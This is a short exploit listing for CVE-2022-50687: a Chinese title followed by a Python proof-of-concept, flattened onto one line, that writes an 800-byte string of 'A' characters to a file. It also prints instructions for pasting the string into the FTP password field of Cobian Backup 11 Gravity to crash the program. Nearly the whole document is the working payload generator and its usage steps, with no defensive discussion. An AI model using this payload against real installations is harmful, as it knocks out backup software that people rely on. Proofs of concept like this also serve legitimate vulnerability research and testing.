CVE-2022-50687 Cobian Backup 11 Gravity FTP密码字段拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2022-50687 PoC - Cobian Backup 11 Gravity FTP Password Field DoS Description: Generate a specially crafted 800-byte buffer to trigger application crash when pasted into the FTP password field of Cobian Backup 11 Gravity. """ def generate_payload(length=800): """Generate a buffer of specified length to trigger the DoS vulnerability.""" # The payload consists of repeated 'A' characters # This triggers a buffer overflow when processed by the password field payload = 'A' * length return payload def main(): print("=" * 60) print("CVE-2022-50687 PoC - Cobian Backup 11 Gravity DoS") print("=" * 60) # Generate the 800-byte payload as described in the vulnerability payload = generate_payload(800) print(f"\n[+] Generated payload length: {len(payload)} bytes") print(f"[+] Payload preview: {payload[:50]}...") print("\n[!] Instructions:") print("1. Open Cobian Backup 11 Gravity") print("2. Navigate to FTP server configuration") print("3. Paste the generated payload into the FTP password field") print("4. Click OK or Apply to trigger the crash") print("\n[+] Payload saved to 'cve_2022_50687_payload.txt'") # Save payload to file for easy access with open('cve_2022_50687_payload.txt', 'w') as f: f.write(payload) if __name__ == "__main__": main()